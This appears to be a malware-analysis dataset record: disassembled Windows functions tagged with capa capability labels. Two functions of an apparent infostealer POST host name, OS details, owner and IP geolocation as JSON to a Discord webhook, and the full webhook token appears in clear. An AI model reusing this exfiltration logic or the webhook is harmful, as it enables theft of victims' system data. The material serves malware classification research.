joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800dedbc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800dedec
xor eax, eax
jmp 0x1800deeaf
mov rbp, rbx
cmp word [rax], si
je 0x1800dee11
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800dedf8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800dedf4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800dd4a4
movsxd r14, eax
test eax, eax
jne 0x1800dee4f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800dede5
mov rcx, r14
call fcn.1800d4584
mov rdi, rax
test rax, rax
jne 0x1800dee68
xor ecx, ecx
call fcn.1800d4548
jmp 0x1800dee44
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800dd4a4
test eax, eax
jne 0x1800dee99
mov rcx, rdi
call fcn.1800d4548
jmp 0x1800deea3
xor ecx, ecx
call fcn.1800d4548
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800e1b48
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1800d271c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1800e1be9
cmp ebx, dword [rsp + 0x30]
je 0x1800e1be2
test esi, esi
je 0x1800e1be2
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1800e1bbd
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1800e1bca
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1800e1ba7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1800e1bce
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1800e1beb
mov eax, 1
jmp 0x1800e1beb
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800e607c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1800c3578
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1800e6106
cmp byte [rbp - 0x21], r15b
je 0x1800e6101
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1800e613c
call fcn.1800d7924
test eax, eax
jne 0x1800e6128
cmp byte [rbp - 0x21], r15b
je 0x1800e6120
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1800e613c
cmp byte [rbp - 0x21], r15b
je 0x1800e6139
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1800d0ae0
test eax, eax
jne 0x1800e61dc
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1800c3578
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1800e617b
cmp byte [rbp - 0x21], r15b
je 0x1800e61b0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1800e61b0
call fcn.1800d7924
test eax, eax
jne 0x1800e619c
cmp byte [rbp - 0x21], r15b
je 0x1800e6195
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1800e61b0
cmp byte [rbp - 0x21], r15b
je 0x1800e61ad
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1800d0ae0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1800e61dc
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1800e61df
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1800e61ed
mov rcx, rdi
call fcn.1800d4548
cmp byte [rbp + 0x3f], r15b
je 0x1800e61fc
mov rcx, qword [rbp + 0x27]
call fcn.1800d4548
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1800e7358
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1800daa9c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1800daa9c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800e74a8
cmp rax, 0xffffffffffffffff
je 0x1800e74a8
xor edi, edi
test rbp, rbp
jle 0x1800e7453
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800d75e4
mov rbx, rax
test rax, rax
jne 0x1800e73e0
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800e7449
mov edx, 0x8000
mov ecx, r14d
call fcn.1800e71dc
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1800d9784
cmp eax, 0xffffffff
je 0x1800e7429
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1800e73f0
mov edx, r15d
mov ecx, r14d
call fcn.1800e71dc
jmp 0x1800e7449
cmp byte [rsi + 0x38], dil
je 0x1800e7440
cmp dword [rsi + 0x34], 5
jne 0x1800e7440
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1800e7449
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1800d4548
jmp 0x1800e74bc
jns 0x1800e74bc
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1800daa9c
cmp rax, 0xffffffffffffffff
jne 0x1800e7474
cmp byte [rsi + 0x30], dil
je 0x1800e74bc
mov edi, dword [rsi + 0x2c]
jmp 0x1800e74bc
mov ecx, r14d
call fcn.1800e3b14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800e74bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1800e74bc
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800e74b5
mov eax, dword [rsi + 0x2c]
jmp 0x1800e74ba
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1800daa9c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x2fc4d3890
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d4970
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d4292
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f6108]
test eax, eax
je 0x2fc4d432a
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f6110]
mov qword [rbp - 8], rax
jmp 0x2fc4d430e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d4302
cmp qword [rbp - 0x10], 0
je 0x2fc4d4302
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d42c8
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d432b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d4430
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d4458
mov eax, 0
jmp 0x2fc4d44a6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d4481
mov eax, 0
jmp 0x2fc4d44a6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d44a1
mov eax, 0
jmp 0x2fc4d44a6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d44ac
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d452a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d4521
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d4521
mov rax, qword [rbp - 8]
jmp 0x2fc4d453f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d44f4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14001a4e0]
mov dword [rax], 1
mov rax, qword [0x14001a4f0]
mov dword [rax], 1
mov rax, qword [0x14001a500]
mov dword [rax], 1
mov rax, qword [0x14001a490]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000189f
Capabilities:
Initialize winhttp library
Prepare http request

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str._R.U.D34D.Y3T_STLR
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpen]
call rax
mov qword [0x14001d040], rax
mov rax, qword [0x14001d040]
mov r9d, 0
mov r8d, 0x1bb
lea rdx, str.discordapp.com
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpConnect]
call rax
mov qword [0x14001d048], rax
mov rax, qword [0x14001d048]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str._api_webhooks_1217523485199564931_k7K7BmgKiatWz_xTMLAf0JnS6HtgmRGVOOggpYwfHFHQlZSv3FmErYLhgZ7H49JT6w9S
lea rdx, str.POST
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call rax
mov qword [0x14001d050], rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x140001c8a
Capabilities:
Get geographical location
Receive http response

Disassembly:
push rbp
push r14
push r13
push r12
push rdi
push rsi
push rbx
mov eax, 0x10b0
call fcn.140008640
sub rsp, rax
lea rbp, [rsp + 0x80]
mov rax, qword [0x14001d438]
mov r14, qword [rax + 0x20]
mov rax, qword [0x14001d430]
mov r13, qword [rax + 0x20]
mov rax, qword [0x14001d428]
mov r12, qword [rax + 0x20]
mov rax, qword [0x14001d420]
mov rdi, qword [rax + 0x20]
mov rax, qword [0x14001d418]
mov rsi, qword [rax + 0x20]
mov rax, qword [0x14001d410]
mov rbx, qword [rax + 0x20]
mov rax, qword [0x14001d408]
mov r11, qword [rax + 0x20]
mov rax, qword [0x14001d3f0]
mov r10, qword [rax + 0x20]
mov rax, qword [0x14001d3e8]
mov r9, qword [rax + 0x20]
mov rax, qword [0x14001d3e0]
mov r8, qword [rax + 0x20]
mov rax, qword [0x14001d3d8]
mov rcx, qword [rax + 0x20]
mov rax, qword [0x14001d3d0]
mov rdx, qword [rax + 0x20]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], r11
mov qword [rsp + 0x58], r10
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x48], r8
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rdx
lea rdx, [0x14001d2c0]
mov qword [rsp + 0x30], rdx
lea rdx, [0x14001d1a0]
mov qword [rsp + 0x28], rdx
lea rdx, [0x14001d080]
mov qword [rsp + 0x20], rdx
lea r9, [0x14001d060]
lea r8, str._username_:___R.U.D34D.Y3T___content_:_null__embeds_:___title_:__STLR___footer_:__text_:____Gh0st___color_:_16711680__fields_:___name_:__System_Information____value_:_____Host_Name_________s__nOS_Name___________s__nOS_Version________s__nOwner_____________s__n______inline_:_false__name_:__IP__Geolocation____value_:_____IP________________s__nCity______________s__nRegion____________s__nRegion_Code_______s__nRegion_Name_______s__nContinent_Code____s__nContinent_Name____s__nLatitude__________s__nLongitude_________s__nAccuracy__________s__nTimezone__________s__nCurrency__________s__n______inline_:_false__name_:__Field3____value_:__Value3____inline_:_false____attachments_:___
mov edx, 0x1000
mov rcx, rax
call dbg.snprintf
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.strlen
mov ebx, eax
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rax, qword [0x14001d050]
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ecx
mov r9, rdx
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call rax
mov dword [rbp + 0x102c], eax
cmp dword [rbp + 0x102c], 0
je 0x140001e30
mov rax, qword [0x14001d050]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
call rax
mov rax, qword [0x14001d050]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [0x14001d048]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [0x14001d040]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
nop
add rsp, 0x10b0
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop rbp
ret
Function at 0x140007320
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140007ff2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14001d528]
test eax, eax
je 0x14000808a
lea rax, [0x14001d500]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14001d530]
mov qword [rbp - 8], rax
jmp 0x14000806e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140008062
cmp qword [rbp - 0x10], 0
je 0x140008062
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140008028
lea rax, [0x14001d500]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000808b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140008190
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400081b8
mov eax, 0
jmp 0x140008206
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400081e1
mov eax, 0
jmp 0x140008206
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140008201
mov eax, 0
jmp 0x140008206
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14000820c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000828a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140008281
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140008281
mov rax, qword [rbp - 8]
jmp 0x14000829f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140008254
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140004fec
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
movsxd rdi, edx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x14000502e
cmp qword [rbx + 0x18], 0
jne 0x14000506c
mov edx, dword [rbx + 0xc]
cmp edx, dword [rbx + 0x30]
jae 0x140005077
mov rcx, qword [rcx + 8]
neg edi
sbb r8d, r8d
and r8d, 8
bts r8d, 0xa
call qword [sym.imp.USER32.dll_CheckMenuItem]
jmp 0x14000506c
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x14000507d
mov rcx, qword [rcx + 0x40]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jae 0x14000506c
mov rcx, qword [rbx + 0x20]
mov r8, rdi
xor r9d, r9d
mov edx, 0xf1
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_SendMessageA]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call fcn.14000daf0
int3
call fcn.14000daf0
int3

Function at 0x140005698
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rdi, qword [rcx + 0x100]
xor r14d, r14d
mov rsi, rcx
mov rbp, qword [rcx + 0xf8]
cmp qword [rcx + 0xf0], r14
je 0x1400056fa
call fcn.14000f534
mov rdx, qword [rsi + 0xf0]
lea r8d, [r14 + 5]
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbp, rax
test rbp, rbp
je 0x14000570b
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov ebx, 1
test rdi, rdi
je 0x14000574c
mov edx, dword [rdi]
mov eax, 0xffff
cmp word [rdi + 2], ax
jne 0x14000572f
mov edx, dword [rdi + 0xc]
movzx ecx, word [rdi + 0x12]
movzx eax, word [rdi + 0x14]
jmp 0x140005737
movzx ecx, word [rdi + 0xa]
movzx eax, word [rdi + 0xc]
test edx, 0x1801
jne 0x140005749
test cx, cx
jne 0x140005749
test ax, ax
je 0x14000574c
mov ebx, r14d
cmp qword [rsi + 0xf0], r14
je 0x14000575e
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14000577c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
test rdx, 0xffffffffffff0000
jne 0x1400057bb
cmp dword [rcx + 0xe8], 0
jne 0x1400057bb
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.14000f534
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.140005b18
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret